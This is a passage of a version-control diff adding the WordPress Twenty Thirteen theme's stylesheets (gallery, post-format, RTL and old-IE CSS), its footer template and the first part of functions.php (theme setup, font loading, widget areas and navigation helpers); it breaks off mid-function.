+.gallery-columns-4 .gallery-item {
+	max-width: 23%;
+	max-width: -webkit-calc(25% - 9px);
+	max-width:         calc(25% - 9px);
+	width: auto;
+}
+
+.gallery-columns-5 .gallery-item {
+	max-width: 19%;
+	max-width: -webkit-calc(20% - 8px);
+	max-width:         calc(20% - 8px);
+	width: auto;
+}
+
+.gallery-columns-6 .gallery-item {
+	max-width: 15%;
+	max-width: -webkit-calc(16.7% - 7px);
+	max-width:         calc(16.7% - 7px);
+	width: auto;
+}
+
+.gallery-columns-7 .gallery-item {
+	max-width: 13%;
+	max-width: -webkit-calc(14.28% - 7px);
+	max-width:         calc(14.28% - 7px);
+	width: auto;
+}
+
+.gallery-columns-8 .gallery-item {
+	max-width: 11%;
+	max-width: -webkit-calc(12.5% - 6px);
+	max-width:         calc(12.5% - 6px);
+	width: auto;
+}
+
+.gallery-columns-9 .gallery-item {
+	max-width: 9%;
+	max-width: -webkit-calc(11.1% - 6px);
+	max-width:         calc(11.1% - 6px);
+	width: auto;
+}
+
+.gallery-columns-1 .gallery-item:nth-of-type(1n),
+.gallery-columns-2 .gallery-item:nth-of-type(2n),
+.gallery-columns-3 .gallery-item:nth-of-type(3n),
+.gallery-columns-4 .gallery-item:nth-of-type(4n),
+.gallery-columns-5 .gallery-item:nth-of-type(5n),
+.gallery-columns-6 .gallery-item:nth-of-type(6n),
+.gallery-columns-7 .gallery-item:nth-of-type(7n),
+.gallery-columns-8 .gallery-item:nth-of-type(8n),
+.gallery-columns-9 .gallery-item:nth-of-type(9n) {
+	margin-right: 0;
+}
+
+.gallery-columns-1 .gallery-item:nth-of-type(1n),
+.gallery-columns-2 .gallery-item:nth-of-type(2n - 1),
+.gallery-columns-3 .gallery-item:nth-of-type(3n - 2),
+.gallery-columns-4 .gallery-item:nth-of-type(4n - 3),
+.gallery-columns-5 .gallery-item:nth-of-type(5n - 4),
+.gallery-columns-6 .gallery-item:nth-of-type(6n - 5),
+.gallery-columns-7 .gallery-item:nth-of-type(7n - 6),
+.gallery-columns-8 .gallery-item:nth-of-type(8n - 7),
+.gallery-columns-9 .gallery-item:nth-of-type(9n - 8) {
+	margin-left: 12px; /* Compensate for the default negative margin on .gallery, which can't be changed. */
+}
+
+.gallery .gallery-caption {
+	background-color: rgba(0, 0, 0, 0.7);
+	box-sizing: border-box;
+	color: #fff;
+	font-size: 14px;
+	line-height: 1.3;
+	margin: 0;
+	max-height: 50%;
+	opacity: 0;
+	padding: 2px 8px;
+	position: absolute;
+	bottom: 0;
+	left: 0;
+	text-align: left;
+	-webkit-transition: opacity 400ms ease;
+	transition:         opacity 400ms ease;
+	width: 100%;
+}
+
+.gallery .gallery-caption:before {
+	box-shadow: 0 -10px 15px #000 inset;
+	content: "";
+	height: 100%;
+	min-height: 49px;
+	position: absolute;
+	left: 0;
+	top: 0;
+	width: 100%;
+}
+
+.gallery-item:hover .gallery-caption {
+	opacity: 1;
+}
+
+.gallery-columns-7 .gallery-caption,
+.gallery-columns-8 .gallery-caption,
+.gallery-columns-9 .gallery-caption {
+	display: none;
+}
+
+
+/**
+ * 9.0 Audio/Video
+ * ----------------------------------------------------------------------------
+ */
+.mejs-mediaelement,
+.mejs-container .mejs-controls {
+	background: #220e10;
+}
+
+.mejs-controls .mejs-time-rail .mejs-time-loaded,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current {
+	background: #fff;
+}
+
+.mejs-controls .mejs-time-rail .mejs-time-current {
+	background: #ea9629;
+}
+
+.mejs-controls .mejs-time-rail .mejs-time-total,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total {
+	background: #595959;
+}
+
+.mejs-controls .mejs-time-rail span,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current {
+	border-radius: 0;
+}
+
+
+/**
+ * 10.0 Post Formats
+ * ----------------------------------------------------------------------------
+ */
+
+/* Aside */
+.post-format-aside {
+	background-color: #f7f5e7;
+}
+
+.post-format-aside blockquote {
+	font-size: 100%;
+	font-weight: normal;
+}
+
+.post-format-aside cite {
+	font-size: 100%;
+	text-transform: none;
+}
+
+.post-format-aside cite:before {
+	content: "\2014";
+	margin-right: 5px;
+}
+
+/* Audio */
+.post-format-audio {
+	background-color: #db572f;
+}
+
+.post-format-audio a {
+	color: #fbfaf3;
+}
+
+.post-format-audio:before {
+	background: url(../images/dotted-line.png) repeat-y 85px 0;
+	background-size: 4px 4px;
+	content: "\f109";
+	display: block;
+	float: left;
+	font-family: Genericons;
+	font-size: 64px;
+	-webkit-font-smoothing: antialiased;
+	height: 100%;
+	line-height: 1;
+	width: 120px;
+}
+
+/* Chat */
+.post-format-chat {
+	background-color: #eadaa6;
+}
+
+.post-format-chat a {
+	color: #722d19;
+}
+
+/* Gallery */
+.post-format-gallery {
+	background-color: #fbca3c;
+}
+
+.post-format-gallery a {
+	color: #722d19;
+}
+
+/* Image: same as Standard/Defaults */
+
+/* Link */
+.post-format-link {
+	background-color: #f7f5e7;
+}
+
+/* Quote */
+.post-format-quote {
+	background-color: #210d10;
+	color: #f7f5e7;
+}
+
+.post-format-quote a {
+	color: #e63f2a;
+}
+
+.post-format-quote blockquote {
+	font-size: 28px;
+	font-style: italic;
+	font-weight: 300;
+	margin: 0;
+	padding-left: 75px;
+	position: relative;
+}
+
+.post-format-quote blockquote:before {
+	content: '\201C';
+	font-size: 140px;
+	font-weight: 400;
+	line-height: .8;
+	padding-right: 25px;
+	position: absolute;
+	left: -15px;
+	top: -3px;
+}
+
+.post-format-quote blockquote small,
+.post-format-quote blockquote cite {
+	display: block;
+	font-size: 16px;
+}
+
+.format-quote .entry-content cite a {
+	border-bottom: 1px dotted #fff;
+	color: #fff;
+}
+
+.format-quote .entry-content cite a:hover {
+	text-decoration: none;
+}
+
+
+/* Status */
+.post-format-status {
+	background-color: #722d19;
+	color: #f7f5e7;
+	font-style: italic;
+	font-weight: 300;
+	padding: 0;
+	padding-left: 35px;
+}
+
+.post-format-status.mceContentBody {
+	font-size: 24px;
+}
+
+.post-format-status:before {
+	background: url(../images/dotted-line.png) repeat-y left bottom;
+	background-size: 4px 4px;
+	content: "";
+	display: block;
+	float: left;
+	height: 100%;
+	position: relative;
+	left: -30px;
+	width: 1px;
+}
+
+.post-format-status > p:first-child:before {
+	background-color: rgba(0, 0, 0, 0.65);
+	content: "";
+	height: 3px;
+	width: 13px;
+	margin-top: 13px;
+	position: absolute;
+	left: 9px;
+}
+
+.post-format-status a {
+	color: #eadaa6;
+}
+
+/* Video */
+.post-format-video {
+	background-color: #db572f;
+}
+
+.post-format-video a {
+	color: #fbfaf3;
+}
+
+
+/**
+ * 11.0 RTL
+ * ----------------------------------------------------------------------------
+ */
+
+html .mceContentBody.rtl {
+	direction: rtl;
+	unicode-bidi: embed;
+}
+
+.rtl ol,
+.rtl ul {
+	padding: 0 40px 0 0;
+}
+
+.rtl .wp-caption,
+.rtl tr th {
+	text-align: right;
+}
+
+.rtl td {
+	padding: 6px 0 6px 10px;
+	text-align: right;
+}
+
+.rtl blockquote blockquote {
+	margin-left: 0;
+	margin-right: 24px;
+}
+
+.rtl.post-format-audio:before,
+.rtl.post-format-status:before,
+.rtl.post-format-status > p:first-child:before {
+	background: none;
+	content: none;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/css/ie.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/css/ie.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/css/ie.css	(revision 56912)
@@ -0,0 +1,288 @@
+/*
+Styles for older IE versions (previous to IE9).
+*/
+
+
+
+.genericon:before:hover,
+.menu-toggle:after:hover,
+.date a:before:hover,
+.entry-meta .author a:before:hover,
+.format-audio .entry-content:before:hover,
+.comments-link a:before:hover,
+.tags-links a:first-child:before:hover,
+.categories-links a:first-child:before:hover,
+.edit-link > a:before:hover,
+.attachment-meta:before:hover,
+.attachment-meta a:before:hover,
+.comment-awaiting-moderation:before:hover,
+.comment-reply-link:before:hover,
+.comment-reply-title small a:before:hover,
+.bypostauthor > .comment-body .fn:before:hover {
+	text-decoration: none;
+}
+
+.nav-menu .sub-menu ul,
+.nav-menu .children ul {
+	left: 100%;
+}
+
+.site-header .home-link {
+	max-width: 1040px;
+}
+
+.site-header .search-form [type="search"],
+.site-header .search-form [type="text"] {
+	padding-top: 6px;
+}
+
+img.alignright {
+	margin-right: 0;
+}
+
+img.alignleft {
+	margin-left: 0;
+}
+
+.site-main .sidebar-inner {
+	width: 1040px;
+}
+
+.site-main .widget-area {
+	margin-right: 60px;
+}
+
+.format-image .entry-content .size-full {
+	margin: 0;
+	max-width: 604px;
+}
+
+.gallery-columns-1 .gallery-item,
+.gallery-columns-2 .gallery-item,
+.gallery-columns-3 .gallery-item {
+	max-width: none;
+}
+
+.gallery img {
+	width: auto;
+}
+
+.gallery-caption {
+	background: #000;
+	filter: alpha(opacity=0);
+}
+
+.gallery-item:hover .gallery-caption {
+	filter: alpha(opacity=70);
+}
+
+.comment {
+	clear: both;
+}
+
+.comment-meta,
+.comment-content,
+.comment-list .reply {
+	width: 480px;
+}
+
+.depth-2 .comment-meta,
+.depth-2 .comment-content,
+.comment-list .depth-2 .reply {
+	width: 460px;
+}
+
+.depth-3 .comment-meta,
+.depth-3 .comment-content,
+.comment-list .depth-3 .reply {
+	width: 440px;
+}
+
+.depth-4 .comment-meta,
+.depth-4 .comment-content,
+.comment-list .depth-4 .reply {
+	width: 420px;
+}
+
+.depth-5 .comment-meta,
+.depth-5 .comment-content,
+.comment-list .depth-5 .reply {
+	width: 400px;
+}
+
+.comment-meta {
+	margin-bottom: 0;
+}
+
+.widget {
+	background: #f7f5e7;
+}
+
+.site-footer .widget {
+	background: none;
+}
+
+/* Internet Explorer 8 */
+.ie8 .site {
+	border: 0;
+}
+
+.ie8 img.size-full,
+.ie8 img.size-large {
+	height: auto;
+	width: auto;
+}
+
+.ie8 .sidebar .entry-header,
+.ie8 .sidebar .entry-content,
+.ie8 .sidebar .entry-summary,
+.ie8 .sidebar .entry-meta {
+	max-width: 724px;
+}
+
+.ie8 .author-info {
+	margin-left: 0;
+}
+
+.ie8 .paging-navigation .nav-previous .meta-nav {
+	padding: 5px 0 8px;
+	width: 40px;
+}
+
+.ie8 .paging-navigation .nav-next {
+	line-height: 1;
+}
+
+.ie8 .format-status .entry-content:before,
+.ie8 .format-status .entry-meta:before {
+	content: none;
+}
+
+.ie8 .site-main .widget-area {
+	margin-right: 0;
+}
+
+/* Internet Explorer 7 */
+.ie7 audio,
+.ie7 canvas,
+.ie7 video {
+	display: inline;
+	zoom: 1;
+}
+
+.ie7 legend {
+	margin-left: -7px;
+}
+
+.ie7 button,
+.ie7 input,
+.ie7 select,
+.ie7 textarea {
+	vertical-align: middle;
+}
+
+.ie7 button,
+.ie7 input[type="button"],
+.ie7 input[type="reset"],
+.ie7 input[type="submit"] {
+	overflow: visible;
+}
+
+.ie7 input[type="checkbox"],
+.ie7 input[type="radio"] {
+	height: 13px;
+	width: 13px;
+}
+
+.ie7 .screen-reader-text {
+	clip: rect(1px 1px 1px 1px);
+}
+
+.ie7 .site-header {
+	position: relative;
+	z-index: 1;
+}
+
+.ie7 .main-navigation {
+	max-width: 930px;
+	padding-right: 150px;
+}
+
+.ie7 .nav-menu li a,
+.ie7 .nav-menu li {
+	display: block;
+	float: left;
+}
+
+.ie7 .nav-menu ul {
+	top: 40px;
+}
+
+.ie7 .nav-menu .sub-menu,
+.ie7 .nav-menu .children {
+	display: none;
+	overflow: visible;
+}
+
+.ie7 ul.nav-menu li:hover > ul,
+.ie7 .nav-menu ul li:hover > ul {
+	display: block;
+}
+
+.ie7 .site-header .search-form [type="search"],
+.ie7 .site-header .search-form [type="text"] {
+	background-color: #fff;
+	border: 2px solid #c3c0ab;
+	cursor: text;
+	height: 28px;
+	outline: 0;
+	width: 150px;
+}
+
+.ie7 .entry-header,
+.ie7 .entry-content,
+.ie7 .entry-summary,
+.ie7 .entry-meta {
+	width: 604px;
+}
+
+.ie7 .format-status .entry-content,
+.ie7 .format-status .entry-meta {
+	padding-left: 60px;
+}
+
+.ie7 .sidebar .format-status .entry-content,
+.ie7 .sidebar .format-status .entry-meta {
+	padding-left: 60px;
+}
+
+.ie7 .sidebar .post-navigation .nav-links,
+.ie7 .sidebar .paging-navigation .nav-links {
+	width: 604px;
+}
+
+.ie7 .paging-navigation .meta-nav {
+	padding: 0 0 10px;
+	vertical-align: middle;
+	width: 40px;
+}
+
+.ie7 .comments-title,
+.ie7 .comment-list,
+.ie7 .comment-reply-title,
+.ie7 .comment-respond .comment-form {
+	width: 604px;
+}
+
+.ie7 .site-footer .widget-area {
+	max-width: none;
+	left: auto;
+}
+
+/* RTL for Internet Explorer 7 & 8 */
+.rtl .format-audio .entry-content:before,
+.rtl .comment-reply-link:before,
+.rtl .comment-reply-login:before {
+	-ms-filter: "FlipH";
+	filter: FlipH;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/footer.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/footer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/footer.php	(revision 56912)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * The template for displaying the footer
+ *
+ * Contains footer content and the closing of the #main and #page div elements.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+		</div><!-- #main -->
+		<footer id="colophon" class="site-footer" role="contentinfo">
+			<?php get_sidebar( 'main' ); ?>
+
+			<div class="site-info">
+				<?php do_action( 'twentythirteen_credits' ); ?>
+				<?php
+				if ( function_exists( 'the_privacy_policy_link' ) ) {
+					the_privacy_policy_link( '', '<span role="separator" aria-hidden="true"></span>' );
+				}
+				?>
+				<a href="<?php echo esc_url( __( 'https://wordpress.org/', 'twentythirteen' ) ); ?>" class="imprint">
+					<?php printf( __( 'Proudly powered by %s', 'twentythirteen' ), 'WordPress' ); ?>
+				</a>
+			</div><!-- .site-info -->
+		</footer><!-- #colophon -->
+	</div><!-- #page -->
+
+	<?php wp_footer(); ?>
+</body>
+</html>
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/functions.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/functions.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/functions.php	(revision 56912)
@@ -0,0 +1,723 @@
+<?php
+/**
+ * Twenty Thirteen functions and definitions
+ *
+ * Sets up the theme and provides some helper functions, which are used in the
+ * theme as custom template tags. Others are attached to action and filter
+ * hooks in WordPress to change core functionality.
+ *
+ * When using a child theme (see https://codex.wordpress.org/Theme_Development
+ * and https://codex.wordpress.org/Child_Themes), you can override certain
+ * functions (those wrapped in a function_exists() call) by defining them first
+ * in your child theme's functions.php file. The child theme's functions.php
+ * file is included before the parent theme's file, so the child theme
+ * functions would be used.
+ *
+ * Functions that are not pluggable (not wrapped in function_exists()) are
+ * instead attached to a filter or action hook.
+ *
+ * For more information on hooks, actions, and filters, @link https://codex.wordpress.org/Plugin_API
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+/*
+ * Set up the content width value based on the theme's design.
+ *
+ * @see twentythirteen_content_width() for template-specific adjustments.
+ */
+if ( ! isset( $content_width ) )
+	$content_width = 604;
+
+/**
+ * Add support for a custom header image.
+ */
+require get_template_directory() . '/inc/custom-header.php';
+
+/**
+ * Twenty Thirteen only works in WordPress 3.6 or later.
+ */
+if ( version_compare( $GLOBALS['wp_version'], '3.6-alpha', '<' ) )
+	require get_template_directory() . '/inc/back-compat.php';
+
+/**
+ * Twenty Thirteen setup.
+ *
+ * Sets up theme defaults and registers the various WordPress features that
+ * Twenty Thirteen supports.
+ *
+ * @uses load_theme_textdomain() For translation/localization support.
+ * @uses add_editor_style() To add Visual Editor stylesheets.
+ * @uses add_theme_support() To add support for automatic feed links, post
+ * formats, and post thumbnails.
+ * @uses register_nav_menu() To add support for a navigation menu.
+ * @uses set_post_thumbnail_size() To set a custom post thumbnail size.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_setup() {
+	/*
+	 * Makes Twenty Thirteen available for translation.
+	 *
+	 * Translations can be filed at WordPress.org. See: https://translate.wordpress.org/projects/wp-themes/twentythirteen
+	 * If you're building a theme based on Twenty Thirteen, use a find and
+	 * replace to change 'twentythirteen' to the name of your theme in all
+	 * template files.
+	 */
+	load_theme_textdomain( 'twentythirteen' );
+
+	/*
+	 * This theme styles the visual editor to resemble the theme style,
+	 * specifically font, colors, icons, and column width.
+	 */
+	add_editor_style( array( 'css/editor-style.css', 'genericons/genericons.css', twentythirteen_fonts_url() ) );
+
+	// Load regular editor styles into the new block-based editor.
+	add_theme_support( 'editor-styles' );
+
+	// Load default block styles.
+	add_theme_support( 'wp-block-styles' );
+
+	// Add support for full and wide align images.
+	add_theme_support( 'align-wide' );
+
+	// Add support for responsive embeds.
+	add_theme_support( 'responsive-embeds' );
+
+	// Add support for custom color scheme.
+	add_theme_support( 'editor-color-palette', array(
+		array(
+			'name'  => __( 'Dark Gray', 'twentythirteen' ),
+			'slug'  => 'dark-gray',
+			'color' => '#141412',
+		),
+		array(
+			'name'  => __( 'Red', 'twentythirteen' ),
+			'slug'  => 'red',
+			'color' => '#bc360a',
+		),
+		array(
+			'name'  => __( 'Medium Orange', 'twentythirteen' ),
+			'slug'  => 'medium-orange',
+			'color' => '#db572f',
+		),
+		array(
+			'name'  => __( 'Light Orange', 'twentythirteen' ),
+			'slug'  => 'light-orange',
+			'color' => '#ea9629',
+		),
+		array(
+			'name'  => __( 'Yellow', 'twentythirteen' ),
+			'slug'  => 'yellow',
+			'color' => '#fbca3c',
+		),
+		array(
+			'name'  => __( 'White', 'twentythirteen' ),
+			'slug'  => 'white',
+			'color' => '#fff',
+		),
+		array(
+			'name'  => __( 'Dark Brown', 'twentythirteen' ),
+			'slug'  => 'dark-brown',
+			'color' => '#220e10',
+		),
+		array(
+			'name'  => __( 'Medium Brown', 'twentythirteen' ),
+			'slug'  => 'medium-brown',
+			'color' => '#722d19',
+		),
+		array(
+			'name'  => __( 'Light Brown', 'twentythirteen' ),
+			'slug'  => 'light-brown',
+			'color' => '#eadaa6',
+		),
+		array(
+			'name'  => __( 'Beige', 'twentythirteen' ),
+			'slug'  => 'beige',
+			'color' => '#e8e5ce',
+		),
+		array(
+			'name'  => __( 'Off-white', 'twentythirteen' ),
+			'slug'  => 'off-white',
+			'color' => '#f7f5e7',
+		),
+	) );
+
+	// Adds RSS feed links to <head> for posts and comments.
+	add_theme_support( 'automatic-feed-links' );
+
+	/*
+	 * Switches default core markup for search form, comment form,
+	 * and comments to output valid HTML5.
+	 */
+	add_theme_support( 'html5', array(
+		'search-form', 'comment-form', 'comment-list', 'gallery', 'caption'
+	) );
+
+	/*
+	 * This theme supports all available post formats by default.
+	 * See https://codex.wordpress.org/Post_Formats
+	 */
+	add_theme_support( 'post-formats', array(
+		'aside', 'audio', 'chat', 'gallery', 'image', 'link', 'quote', 'status', 'video'
+	) );
+
+	// This theme uses wp_nav_menu() in one location.
+	register_nav_menu( 'primary', __( 'Navigation Menu', 'twentythirteen' ) );
+
+	/*
+	 * This theme uses a custom image size for featured images, displayed on
+	 * "standard" posts and pages.
+	 */
+	add_theme_support( 'post-thumbnails' );
+	set_post_thumbnail_size( 604, 270, true );
+
+	// This theme uses its own gallery styles.
+	add_filter( 'use_default_gallery_style', '__return_false' );
+
+	// Indicate widget sidebars can use selective refresh in the Customizer.
+	add_theme_support( 'customize-selective-refresh-widgets' );
+}
+add_action( 'after_setup_theme', 'twentythirteen_setup' );
+
+/**
+ * Return the Google font stylesheet URL, if available.
+ *
+ * The use of Source Sans Pro and Bitter by default is localized. For languages
+ * that use characters not supported by the font, the font can be disabled.
+ *
+ * @since Twenty Thirteen 1.0
+ *
+ * @return string Font stylesheet or empty string if disabled.
+ */
+function twentythirteen_fonts_url() {
+	$fonts_url = '';
+
+	/* Translators: If there are characters in your language that are not
+	 * supported by Source Sans Pro, translate this to 'off'. Do not translate
+	 * into your own language.
+	 */
+	$source_sans_pro = _x( 'on', 'Source Sans Pro font: on or off', 'twentythirteen' );
+
+	/* Translators: If there are characters in your language that are not
+	 * supported by Bitter, translate this to 'off'. Do not translate into your
+	 * own language.
+	 */
+	$bitter = _x( 'on', 'Bitter font: on or off', 'twentythirteen' );
+
+	if ( 'off' !== $source_sans_pro || 'off' !== $bitter ) {
+		$font_families = array();
+
+		if ( 'off' !== $source_sans_pro )
+			$font_families[] = 'Source Sans Pro:300,400,700,300italic,400italic,700italic';
+
+		if ( 'off' !== $bitter )
+			$font_families[] = 'Bitter:400,700';
+
+		$query_args = array(
+			'family' => urlencode( implode( '|', $font_families ) ),
+			'subset' => urlencode( 'latin,latin-ext' ),
+		);
+		$fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' );
+	}
+
+	return $fonts_url;
+}
+
+/**
+ * Enqueue scripts and styles for the front end.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_scripts_styles() {
+	/*
+	 * Adds JavaScript to pages with the comment form to support
+	 * sites with threaded comments (when in use).
+	 */
+	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) )
+		wp_enqueue_script( 'comment-reply' );
+
+	// Adds Masonry to handle vertical alignment of footer widgets.
+	if ( is_active_sidebar( 'sidebar-1' ) )
+		wp_enqueue_script( 'jquery-masonry' );
+
+	// Loads JavaScript file with functionality specific to Twenty Thirteen.
+	wp_enqueue_script( 'twentythirteen-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery' ), '20160717', true );
+
+	// Add Source Sans Pro and Bitter fonts, used in the main stylesheet.
+	wp_enqueue_style( 'twentythirteen-fonts', twentythirteen_fonts_url(), array(), null );
+
+	// Add Genericons font, used in the main stylesheet.
+	wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '3.03' );
+
+	// Loads our main stylesheet.
+	wp_enqueue_style( 'twentythirteen-style', get_stylesheet_uri(), array(), '2013-07-18' );
+
+	// Theme block stylesheet.
+	wp_enqueue_style( 'twentythirteen-block-style', get_template_directory_uri() . '/css/blocks.css', array( 'twentythirteen-style' ), '2018-12-30' );
+
+	// Loads the Internet Explorer specific stylesheet.
+	wp_enqueue_style( 'twentythirteen-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentythirteen-style' ), '2013-07-18' );
+	wp_style_add_data( 'twentythirteen-ie', 'conditional', 'lt IE 9' );
+}
+add_action( 'wp_enqueue_scripts', 'twentythirteen_scripts_styles' );
+
+/**
+ * Add preconnect for Google Fonts.
+ *
+ * @since Twenty Thirteen 2.1
+ *
+ * @param array   $urls          URLs to print for resource hints.
+ * @param string  $relation_type The relation type the URLs are printed.
+ * @return array URLs to print for resource hints.
+ */
+function twentythirteen_resource_hints( $urls, $relation_type ) {
+	if ( wp_style_is( 'twentythirteen-fonts', 'queue' ) && 'preconnect' === $relation_type ) {
+		if ( version_compare( $GLOBALS['wp_version'], '4.7-alpha', '>=' ) ) {
+			$urls[] = array(
+				'href' => 'https://fonts.gstatic.com',
+				'crossorigin',
+			);
+		} else {
+			$urls[] = 'https://fonts.gstatic.com';
+		}
+	}
+
+	return $urls;
+}
+add_filter( 'wp_resource_hints', 'twentythirteen_resource_hints', 10, 2 );
+
+/**
+ * Enqueue styles for the block-based editor.
+ *
+ * @since Twenty Thirteen 2.5
+ */
+function twentythirteen_block_editor_styles() {
+	// Block styles.
+	wp_enqueue_style( 'twentythirteen-block-editor-style', get_template_directory_uri() . '/css/editor-blocks.css', array(), '2018-12-30' );
+	// Add custom fonts.
+	wp_enqueue_style( 'twentythirteen-fonts', twentythirteen_fonts_url(), array(), null );
+}
+add_action( 'enqueue_block_editor_assets', 'twentythirteen_block_editor_styles' );
+
+/**
+ * Filter the page title.
+ *
+ * Creates a nicely formatted and more specific title element text for output
+ * in head of document, based on current view.
+ *
+ * @since Twenty Thirteen 1.0
+ *
+ * @param string $title Default title text for current view.
+ * @param string $sep   Optional separator.
+ * @return string The filtered title.
+ */
+function twentythirteen_wp_title( $title, $sep ) {
+	global $paged, $page;
+
+	if ( is_feed() )
+		return $title;
+
+	// Add the site name.
+	$title .= get_bloginfo( 'name', 'display' );
+
+	// Add the site description for the home/front page.
+	$site_description = get_bloginfo( 'description', 'display' );
+	if ( $site_description && ( is_home() || is_front_page() ) )
+		$title = "$title $sep $site_description";
+
+	// Add a page number if necessary.
+	if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() )
+		$title = "$title $sep " . sprintf( __( 'Page %s', 'twentythirteen' ), max( $paged, $page ) );
+
+	return $title;
+}
+add_filter( 'wp_title', 'twentythirteen_wp_title', 10, 2 );
+
+/**
+ * Register two widget areas.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_widgets_init() {
+	register_sidebar( array(
+		'name'          => __( 'Main Widget Area', 'twentythirteen' ),
+		'id'            => 'sidebar-1',
+		'description'   => __( 'Appears in the footer section of the site.', 'twentythirteen' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget'  => '</aside>',
+		'before_title'  => '<h3 class="widget-title">',
+		'after_title'   => '</h3>',
+	) );
+
+	register_sidebar( array(
+		'name'          => __( 'Secondary Widget Area', 'twentythirteen' ),
+		'id'            => 'sidebar-2',
+		'description'   => __( 'Appears on posts and pages in the sidebar.', 'twentythirteen' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget'  => '</aside>',
+		'before_title'  => '<h3 class="widget-title">',
+		'after_title'   => '</h3>',
+	) );
+}
+add_action( 'widgets_init', 'twentythirteen_widgets_init' );
+
+if ( ! function_exists( 'twentythirteen_paging_nav' ) ) :
+/**
+ * Display navigation to next/previous set of posts when applicable.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_paging_nav() {
+	global $wp_query;
+
+	// Don't print empty markup if there's only one page.
+	if ( $wp_query->max_num_pages < 2 )
+		return;
+	?>
+	<nav class="navigation paging-navigation" role="navigation">
+		<h1 class="screen-reader-text"><?php _e( 'Posts navigation', 'twentythirteen' ); ?></h1>
+		<div class="nav-links">
+
+			<?php if ( get_next_posts_link() ) : ?>
+			<div class="nav-previous"><?php next_posts_link( __( '<span class="meta-nav">&larr;</span> Older posts', 'twentythirteen' ) ); ?></div>
+			<?php endif; ?>
+
+			<?php if ( get_previous_posts_link() ) : ?>
+			<div class="nav-next"><?php previous_posts_link( __( 'Newer posts <span class="meta-nav">&rarr;</span>', 'twentythirteen' ) ); ?></div>
+			<?php endif; ?>
+
+		</div><!-- .nav-links -->
+	</nav><!-- .navigation -->
+	<?php
+}
+endif;
+
+if ( ! function_exists( 'twentythirteen_post_nav' ) ) :
+/**
+ * Display navigation to next/previous post when applicable.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_post_nav() {
+	global $post;
+
+	// Don't print empty markup if there's nowhere to navigate.
+	$previous = ( is_attachment() ) ? get_post( $post->post_parent ) : get_adjacent_post( false, '', true );
+	$next     = get_adjacent_post( false, '', false );
+
+	if ( ! $next && ! $previous )
+		return;
+	?>
+	<nav class="navigation post-navigation" role="navigation">
+		<h1 class="screen-reader-text"><?php _e( 'Post navigation', 'twentythirteen' ); ?></h1>
+		<div class="nav-links">
+
+			<?php previous_post_link( '%link', _x( '<span class="meta-nav">&larr;</span> %title', 'Previous post link', 'twentythirteen' ) ); ?>
+			<?php next_post_link( '%link', _x( '%title <span class="meta-nav">&rarr;</span>', 'Next post link', 'twentythirteen' ) ); ?>
+
+		</div><!-- .nav-links -->
+	</nav><!-- .navigation -->
+	<?php
+}
+endif;
+
+if ( ! function_exists( 'twentythirteen_entry_meta' ) ) :
+/**
+ * Print HTML with meta information for current post: categories, tags, permalink, author, and date.
+ *
+ * Create your own twentythirteen_entry_meta() to override in a child theme.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_entry_meta() {
+	if ( is_sticky() && is_home() && ! is_paged() )
+		echo '<span class="featured-post">' . esc_html__( 'Sticky', 'twentythirteen' ) . '</span>';
+
+	if ( ! has_post_format( 'link' ) && 'post' == get_post_type() )
+		twentythirteen_entry_date();
+
+	// Translators: used between list items, there is a space after the comma.
+	$categories_list = get_the_category_list( __( ', ', 'twentythirteen' ) );
+	if ( $categories_list ) {
+		echo '<span class="categories-links">' . $categories_list . '</span>';
+	}
+
+	// Translators: used between list items, there is a space after the comma.
+	$tag_list = get_the_tag_list( '', __( ', ', 'twentythirteen' ) );
+	if ( $tag_list ) {
+		echo '<span class="tags-links">' . $tag_list . '</span>';
+	}
+
+	// Post author
+	if ( 'post' == get_post_type() ) {
+		printf( '<span class="author vcard"><a class="url fn n" href="%1$s" title="%2$s" rel="author">%3$s</a></span>',
+			esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
+			esc_attr( sprintf( __( 'View all posts by %s', 'twentythirteen' ), get_the_author() ) ),
+			get_the_author()
+		);
+	}
+}
+endif;
+
+if ( ! function_exists( 'twentythirteen_entry_date' ) ) :
+/**
+ * Print HTML with date information for current post.
+ *
+ * Create your own twentythirteen_entry_date() to override in a child theme.
+ *
+ * @since Twenty Thirteen 1.0
+ *
+ * @param boolean $echo (optional) Whether to echo the date. Default true.
+ * @return string The HTML-formatted post date.
+ */
+function twentythirteen_entry_date( $echo = true ) {
+	if ( has_post_format( array( 'chat', 'status' ) ) )
+		$format_prefix = _x( '%1$s on %2$s', '1: post format name. 2: date', 'twentythirteen' );
+	else
